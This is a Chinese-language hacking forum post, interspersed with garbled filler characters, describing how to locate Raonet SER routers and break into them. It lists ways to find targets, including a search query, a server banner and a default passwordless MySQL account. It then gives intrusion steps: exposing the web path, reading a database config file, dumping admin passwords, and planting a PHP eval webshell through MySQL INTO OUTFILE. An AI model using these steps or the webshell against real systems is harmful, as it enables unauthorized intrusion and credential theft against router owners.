寻找存在漏洞的路由器方法:
4 K7 r `6 ~; }! _
' \0 X8 U4 j6 l3 [1:google搜索'Raonet Subscriber Ethernet Router'& S' z( g4 t4 B
$ [/ }" w) _* E M3 p
2:使用WebDAVScan扫80端口,http banner为thttpd/2.21b 23apr2001
5 B, R3 H# s+ Q f
" b0 f, [8 g. |4 T4 N3:扫mysql版本号判断,SER系列路由器使用的mysql版本4.0.14,默认有一个高权限的帐户mysql,口令为空。/ y0 Q$ j( L" ?3 [1 l& z
6 V; S: r4 I* z1 E//还有很多方法可以批量获取,这里不发了,请自食其力 公开了大家都玩不成......3 L$ j# |# M2 E) _! m& S3 V) P2 o
5 U1 N3 |- u! r% j/ o+ r: z
$ A7 j* `! U% d7 D3 }
; j m5 n& f2 q$ W; y4 h入侵步骤:
( q) x) b1 `7 ?& O6 Q6 T; d( K& ~
3 {! Z9 C1 g) n5 G% n* q1.爆web路径,http://www.yu1u.org/src/jpgraph_line.php
& v- w9 Z4 H) y( a; l
3 b, c0 B- U, O- c1 P# {: Q/ a2:查看数据库配置文件,http://www.yu1u.org/inc/conn_db.inc! Q1 M I; I/ r* c
3:得到密码后连接,查看GUI管理密码:9 z6 e4 L" o' p$ X
use ser_5003 H' V' c, g# i6 B5 ~/ {
select id,passwd from user;/ Z7 `" P* C* [$ l: ~4 O( n
4:通过数据库写入webshell,执行命令:
7 l; Y/ `5 c4 B6 Z% x& kuse mysql;
2 M: v8 C$ q8 N$ _. @create table ok(cmd TEXT);
$ F, t9 a4 c& \8 z% I$ f- p$ |insert into ok values("<?php @eval($_POST[cmd])?>");
- c% b- m9 m! O: P$ V: z; Wselect * from ok into outfile "\/usr\/local\/www\/data\/src\/shell.php";
$ J* u# _% @, g. O$ Q# Gdrop table ok;6 S- X" y- A8 A5 i, U! L
4 Z3 t! \7 D! @5:连接后门shell.php ( i; `9 ?0 ^6 s4 I/ {
+ L1 o; @5 u1 N6 ~2 Y& O- u: g6. 搞定!! T w3 d0 c1 A3 s- S3 O* r
" y2 {3 l7 [! t& @2 a3 d |